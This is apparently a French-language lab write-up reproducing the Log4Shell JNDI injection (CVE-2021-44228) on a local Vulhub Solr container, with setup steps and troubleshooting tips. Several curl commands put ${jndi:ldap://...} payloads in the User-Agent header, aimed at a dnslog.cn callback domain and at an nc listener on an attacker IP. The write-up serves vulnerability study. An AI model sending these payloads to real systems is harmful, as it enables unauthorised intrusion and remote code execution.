hmxh123/log4shell-vulnerability-replicationCVE-2021-44228 Enregistrement complet de la reproduction de la vulnérabilité (incluant la mise en place de l'environnement et la vérification du déclenchement)
Ce document est basé sur l'environnement cible Apache Solr 8.11.0 fourni par Vulhub. Il reproduit complètement la vulnérabilité d'injection JNDI Log4j2 et vérifie l'existence de la vulnérabilité via DNSLog et l'écoute LDAP locale.
vulhub/log4j/CVE-2021-44228)Étant donné que la connexion directe à GitHub est instable, utilisez le miroir Gitee pour accélérer :
cd D:\\SecWork
git clone https://gitee.com/hanxu2486/vulhub.git
2.2 Résoudre le problème de récupération des images Docker sous le réseau national
Configurez l'accélérateur d'images dédié Alibaba Cloud (connectez-vous au service Container Registry pour obtenir votre adresse personnelle) :
Ouvrez Docker Desktop → Settings → Docker Engine
Modifiez registry-mirrors :
{
"registry-mirrors": ["https://xxxxx.mirror.aliyuncs.com"]
}
Cliquez sur Apply & Restart
Si vous rencontrez encore une erreur TLS handshake timeout, exécutez dans WSL : sudo hwclock -s pour synchroniser l'heure.
2.3 Démarrer le conteneur Solr
cd D:\SecWork\vulhub\log4j\CVE-2021-44228
docker-compose up -d
La sortie indique un succès :
✔ Image vulhub/solr:8.11.0 Pulled 117.7s
✔ Container cve-2021-44228-solr-1 Started
Accédez à http://localhost:8983/solr, l'interface d'administration Solr apparaît, l'environnement est prêt.
Par défaut, Solr n'a pas de core, il faut le créer manuellement :
curl "http://localhost:8983/solr/admin/cores?action=CREATE&name=test&configSet=_default"
Retourne "status":0, le core test a été créé avec succès.
Ouvrez un navigateur et accédez à http://dnslog.cn, cliquez sur Get SubDomain, obtenez un nom de domaine temporaire, par exemple abc123.dnslog.cn
Exécutez dans la ligne de commande (utilisez curl.exe pour éviter les interférences des alias PowerShell) :
curl.exe -H 'User-Agent: ${jndi:ldap://abc123.dnslog.cn/test}' 'http://localhost:8983/solr/test/select?q=*:*'
Revenez à la page http://dnslog.cn, cliquez sur Refresh Record, un enregistrement de résolution DNS apparaît immédiatement, prouvant que la vulnérabilité existe.
Ouvrez une écoute dans WSL : nc -lvp 1389
Obtenez l'IP de l'hôte (exécutez ipconfig dans Windows PowerShell, trouvez l'IP de la carte réseau virtuelle WSL, par exemple 172.30.208.1)
Envoyez une requête malveillante avec l'IP locale :
curl.exe -H 'User-Agent: ${jndi:ldap://172.30.208.1:1389/test}' 'http://localhost:8983/solr/test/select?q=*:*'
Observez la fenêtre nc, elle affiche les informations de connexion :
connect to [172.30.208.1] from localhost [127.0.0.1] 54321
Cela prouve que Solr a bien initié une requête LDAP vers la machine d'attaque, la reproduction de la vulnérabilité est réussie.
La fonctionnalité JndiLookup fournie par Apache Log4j2 permet d'utiliser des espaces réservés au format ${jndi:ldap://...} dans les messages de log. Lorsque le message de log est enregistré, Log4j2 résout cet espace réservé et tente d'accéder à un serveur LDAP distant via JNDI. L'attaquant peut mettre en place un serveur LDAP malveillant qui renvoie une charge utile de désérialisation Java, permettant ainsi l'exécution de code à distance.
Dans cette reproduction, en définissant l'en-tête User-Agent comme charge utile malveillante, Solr a enregistré cet en-tête lors du traitement de la requête, déclenchant une requête JNDI, prouvant l'existence de la vulnérabilité.
✅ Mise en place réussie de l'environnement de vulnérabilité Vulhub, surmontant divers problèmes sous le réseau national (détournement DNS, accélération des miroirs, synchronisation de l'heure WSL, etc.).
✅ Déclenchement indépendant de la vulnérabilité, vérification de l'injection JNDI via DNSLog et écoute locale.
✅ Compréhension approfondie du principe de la vulnérabilité Log4Shell et de la chaîne d'attaque de l'injection JNDI.
✅ Acquisition d'expérience pratique dans le dépannage réseau Docker, la configuration WSL2, le nettoyage des proxies Git, etc.
Symptôme Cause racine Solution git clone 502 / connexion expirée Détournement DNS / interférence proxy Utiliser le miroir Gitee, nettoyer le proxy Git, vider le cache DNS Docker récupère l'image 429 Limitation de débit de la source d'images publique Configurer l'accélérateur Alibaba Cloud dédié TLS handshake timeout Désynchronisation de l'heure WSL2 sudo hwclock -s pour synchroniser l'heure La vulnérabilité ne se déclenche pas Core non créé ou mauvaise position de la charge utile Créer le core, utiliser l'en-tête User-Agent
# Cloner Vulhub (utiliser le miroir Gitee)
git clone https://gitee.com/hanxu2486/vulhub.git
# Accéder au répertoire de la vulnérabilité
cd D:\SecWork\vulhub\log4j\CVE-2021-44228
# Démarrer l'environnement
docker-compose up -d
# Créer un Core Solr
curl "http://localhost:8983/solr/admin/cores?action=CREATE&name=test&configSet=_default"
# Vérification DNSLog
curl -H 'User-Agent: ${jndi:ldap://your.dnslog.cn/test}' 'http://localhost:8983/solr/test/select?q=*:*'
# Vérification par écoute locale (exécuter nc dans WSL)
nc -lvp 1389
curl -H 'User-Agent: ${jndi:ldap://your.wsl.ip:1389/test}' 'http://localhost:8983/solr/test/select?q=*:*'
# Arrêter l'environnement
docker-compose down
Date de rédaction : juin 2026 Auteur : HanXu Adresse du dépôt : https://github.com/hmxh123/Log4Shell-Vulnerability-Replication